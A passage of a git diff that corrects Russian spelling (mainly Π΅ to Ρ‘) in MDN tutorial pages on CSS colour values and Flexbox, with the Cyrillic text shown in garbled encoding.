ΠΊΠ°Π½Π°Π»ΠΎΠ² с 256 Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ значСниями ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π½Π°Π»Π° (256 x 256 x 256 = 16,777,216). Π”Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ способы, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ Π² CSS.</p>
+<p>Бтандартная систСма Ρ†Π²Π΅Ρ‚ΠΎΠ² доступная Π² соврСмСнных ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°Ρ… β€” это 24-битная систСма, которая позволяСт ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΎΠΊΠΎΠ»ΠΎ 16.7 ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ΠΎΠ² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ² Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΡŽ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… красных, Π·Π΅Π»Ρ‘Π½Ρ‹Ρ… ΠΈ синих ΠΊΠ°Π½Π°Π»ΠΎΠ² с 256 Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ значСниями ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π½Π°Π»Π° (256 x 256 x 256 = 16,777,216). Π”Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ способы, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ Π² CSS.</p>
<div class="blockIndicator note">
<p><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: Π’ этом руководствС ΠΌΡ‹ рассмотрим ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ опрСдСлСния Ρ†Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ; ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΡ‚ΠΎΠ»ΡŒ ΠΆΠ΅ Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΌΠ΅Π½Π΅Π΅ ΠΎΠ±Ρ‰ΠΈΠΌΠΈ.</p>
@@ -259,13 +259,13 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
<h3 id="ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅_слова_Ρ†Π²Π΅Ρ‚Π°">ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Ρ†Π²Π΅Ρ‚Π°</h3>
-<p>Π”ΠΎΠ²ΠΎΠ»ΡŒΠ½ΠΎ часто Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… ΠΊΠ°ΠΊ здСсь, Ρ‚Π°ΠΊ ΠΈ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… страницах Π² MDN Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ использованиС ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов Ρ†Π²Π΅Ρ‚Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это простой ΠΈ понятный способ опрСдСлСния Ρ†Π²Π΅Ρ‚Π°. БущСствуСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ количСство этих ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡ… Π½ΠΈΡ… ΠΈΠΌΠ΅ΡŽΡ‚ довольно Π·Π°Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°! ΠŸΠΎΠ»Π½Ρ‹ΠΉ список Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° страницС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> .</p>
+<p>Π”ΠΎΠ²ΠΎΠ»ΡŒΠ½ΠΎ часто Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… ΠΊΠ°ΠΊ здСсь, Ρ‚Π°ΠΊ ΠΈ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… страницах Π² MDN Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ использованиС ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов Ρ†Π²Π΅Ρ‚Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это простой ΠΈ понятный способ опрСдСлСния Ρ†Π²Π΅Ρ‚Π°. БущСствуСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ количСство этих ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡ… Π½ΠΈΡ… ΠΈΠΌΠ΅ΡŽΡ‚ довольно Π·Π°Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°! ΠŸΠΎΠ»Π½Ρ‹ΠΉ список Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° страницС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> .</p>
<p><strong>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒ с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ значСниями Ρ†Π²Π΅Ρ‚Π° Π½Π° ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ большС ΠΎΠ± ΠΈΠ΄Π΅Π΅ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚.</strong></p>
<h3 id="ШСстнадцатСричныС_RGB_значСния"><span class="tlid-translation translation" lang="ru"><span title="">ШСстнадцатСричныС</span></span> RGB значСния</h3>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ‚ΠΈΠΏ значСния Ρ†Π²Π΅Ρ‚Π°, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π΅Ρ‚Π΅ΡΡŒ вСроятнСС всСго β€” это ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ ΠΊΠΎΠ΄Ρ‹. КаТдоС hex-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ состоит ΠΈΠ· символа Ρ€Π΅ΡˆΠ΅Ρ‚ΠΊΠΈ (#) Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ 6 ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… чисСл, ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· 16 Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΎΡ‚ 0 Π΄ΠΎ f (ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ 15) β€” Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ <code>0123456789abcdef</code>. КаТдая ΠΏΠ°Ρ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ прСдставляСт ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΊΠ°Π½Π°Π»ΠΎΠ² β€” красного, Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ синСго Ρ†Π²Π΅Ρ‚ΠΎΠ² β€” ΠΈ позволяСт Π½Π°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ любой ΠΈΠ· 256 доступных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ (16 x 16 = 256).</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ‚ΠΈΠΏ значСния Ρ†Π²Π΅Ρ‚Π°, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π΅Ρ‚Π΅ΡΡŒ вСроятнСС всСго β€” это ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ ΠΊΠΎΠ΄Ρ‹. КаТдоС hex-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ состоит ΠΈΠ· символа Ρ€Π΅ΡˆΡ‘Ρ‚ΠΊΠΈ (#) Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ 6 ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… чисСл, ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· 16 Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΎΡ‚ 0 Π΄ΠΎ f (ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ 15) β€” Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ <code>0123456789abcdef</code>. КаТдая ΠΏΠ°Ρ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ прСдставляСт ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΊΠ°Π½Π°Π»ΠΎΠ² β€” красного, Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ синСго Ρ†Π²Π΅Ρ‚ΠΎΠ² β€” ΠΈ позволяСт Π½Π°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ любой ΠΈΠ· 256 доступных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ (16 x 16 = 256).</p>
<p>Π­Ρ‚ΠΈ значСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТными ΠΈ ΠΌΠ΅Π½Π΅Π΅ простыми для понимания, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ Ρ‡Π΅ΠΌ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова β€” Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ hex-значСния Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ любой Ρ†Π²Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² своСй Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ схСмС.</p>
@@ -275,13 +275,13 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
<h3 id="RGB_ΠΈ_RGBA_значСния">RGB ΠΈ RGBA значСния</h3>
-<p>Π’Ρ€Π΅Ρ‚ΡŒΡ схСма, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ здСсь ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ это RGB. ЗначСния RGB это функция β€” <code>rgb()</code> β€” ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ даСтся Ρ‚Ρ€ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… ΠΊΠ°Π½Π°Π»Ρ‹ красного, Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎ ΠΈ синСго Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ†Π²Π΅Ρ‚ΠΎΠ², Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΌ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ hex-значСния. ΠžΡ‚Π»ΠΈΡ‡ΠΈΠ΅ с RGB являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠ°Π½Π°Π» прСдставлСн Π½Π΅ двумя hex-Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ, Π° дСсятичным числом ΠΌΠ΅ΠΆΠ΄Ρƒ 0 ΠΈ 255 β€” Ρ‡Ρ‚ΠΎ отчасти ΠΏΡ€ΠΎΡ‰Π΅ Π² ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠΈ.</p>
+<p>Π’Ρ€Π΅Ρ‚ΡŒΡ схСма, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ здСсь ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ это RGB. ЗначСния RGB это функция β€” <code>rgb()</code> β€” ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ даётся Ρ‚Ρ€ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… ΠΊΠ°Π½Π°Π»Ρ‹ красного, Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ ΠΈ синСго Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ†Π²Π΅Ρ‚ΠΎΠ², Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΌ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ hex-значСния. ΠžΡ‚Π»ΠΈΡ‡ΠΈΠ΅ с RGB являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠ°Π½Π°Π» прСдставлСн Π½Π΅ двумя hex-Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ, Π° дСсятичным числом ΠΌΠ΅ΠΆΠ΄Ρƒ 0 ΠΈ 255 β€” Ρ‡Ρ‚ΠΎ отчасти ΠΏΡ€ΠΎΡ‰Π΅ Π² ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠΈ.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡˆΠ΅ΠΌ наш послСдний ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ RGB Ρ†Π²Π΅Ρ‚Π°:</p>
<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}}Β </p>
-<p>А Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚Π° RGBA β€” Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² точности, ΠΊΠ°ΠΊ ΠΈ Ρ†Π²Π΅Ρ‚Π° RGB ΠΈ Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ RGB, ΠΎΠ΄Π½Π°ΠΊΠΎ сущСствуСт Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдставляСт Π°Π»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π» Ρ†Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΌΡƒΡ‚Π½ΠΎΡΡ‚ΡŒ. Если Π²Ρ‹ установитС это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° <code>0</code>, Ρ‚ΠΎ это сдСлаСт Ρ†Π²Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ <code>1</code> сдСлаСт Π΅Π³ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΌΡƒΡ‚Π½Ρ‹ΠΌ. ЗначСния ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ Ρ€Π°Π·Π½Ρ‹Π΅ ΡƒΡ€ΠΎΠ²Π½ΠΈ прозрачности.</p>
+<p>А Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚Π° RGBA β€” Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² точности, ΠΊΠ°ΠΊ ΠΈ Ρ†Π²Π΅Ρ‚Π° RGB ΠΈ Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ RGB, ΠΎΠ΄Π½Π°ΠΊΠΎ сущСствуСт Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдставляСт Π°Π»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π» Ρ†Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΌΡƒΡ‚Π½ΠΎΡΡ‚ΡŒ. Если Π²Ρ‹ установитС это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° <code>0</code>, Ρ‚ΠΎ это сдСлаСт Ρ†Π²Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ <code>1</code> сдСлаСт Π΅Π³ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΌΡƒΡ‚Π½Ρ‹ΠΌ. ЗначСния ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ Ρ€Π°Π·Π½Ρ‹Π΅ ΡƒΡ€ΠΎΠ²Π½ΠΈ прозрачности.</p>
<div class="blockIndicator note">
<p><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: Настройка Π°Π»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π»Π° Π² Ρ†Π²Π΅Ρ‚Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π² использовании свойства {{cssxref("opacity")}} ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ рассматривали Ρ€Π°Π½Π΅Π΅. ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΌΡƒΡ‚Π½ΠΎΡΡ‚ΡŒ Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅ элСмСнт ΠΈ всС Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ ΠΌΡƒΡ‚Π½Ρ‹ΠΌ, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ использовании Ρ†Π²Π΅Ρ‚Π° RGBA Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅ ΠΌΡƒΡ‚Π½Ρ‹ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΡ‚ Ρ†Π²Π΅Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ спСцифицируСтС.</p>
diff --git a/files/ru/learn/css/css_layout/flexbox/index.html b/files/ru/learn/css/css_layout/flexbox/index.html
index d67eedc31f..46e77bfe72 100644
--- a/files/ru/learn/css/css_layout/flexbox/index.html
+++ b/files/ru/learn/css/css_layout/flexbox/index.html
@@ -28,7 +28,7 @@ translation_of: Learn/CSS/CSS_layout/Flexbox
<h2 id="ΠŸΠΎΡ‡Π΅ΠΌΡƒ_Flexbox">ΠŸΠΎΡ‡Π΅ΠΌΡƒ Flexbox?</h2>
-<p>Π”ΠΎΠ»Π³ΠΎΠ΅ врСмя СдинствСнными Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌΠΈ инструмСнтами CSS вСрстки Π±Ρ‹Π»ΠΈ Ρ‚Π°ΠΊΠΈΠ΅ способы ΠΊΠ°ΠΊ Float (ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π½ΠΈΠ΅) ΠΈ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅.</p>
+<p>Π”ΠΎΠ»Π³ΠΎΠ΅ врСмя СдинствСнными Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌΠΈ инструмСнтами CSS вёрстки Π±Ρ‹Π»ΠΈ Ρ‚Π°ΠΊΠΈΠ΅ способы ΠΊΠ°ΠΊ Float (ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π½ΠΈΠ΅) ΠΈ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅.</p>
<p>Π‘ ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ слоТно ΠΈΠ»ΠΈ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… простых трСбований ΠΊ ΠΌΠ°ΠΊΠ΅Ρ‚Ρƒ:</p>
@@ -44,7 +44,7 @@ translation_of: Learn/CSS/CSS_layout/Flexbox
<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π²Ρ‹ ΠΏΡ€ΠΎΡ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ ΡΠ΅Ρ€ΠΈΡŽ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ flexbox. Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ, скачайтС Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ стартовый Ρ„Π°ΠΉΠ»Β β€” <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> с нашСго Github рСпозитория — Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² соврСмСнном Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ (Firefox ΠΈΠ»ΠΈΒ Chrome), Π° Ρ‚Π°ΠΊΠΆΠ΅ Π² любимом Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅ ΠΊΠΎΠ΄Π°. Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΅Π³ΠΎ Π²ΠΆΠΈΠ²ΡƒΡŽ</a>.</p>
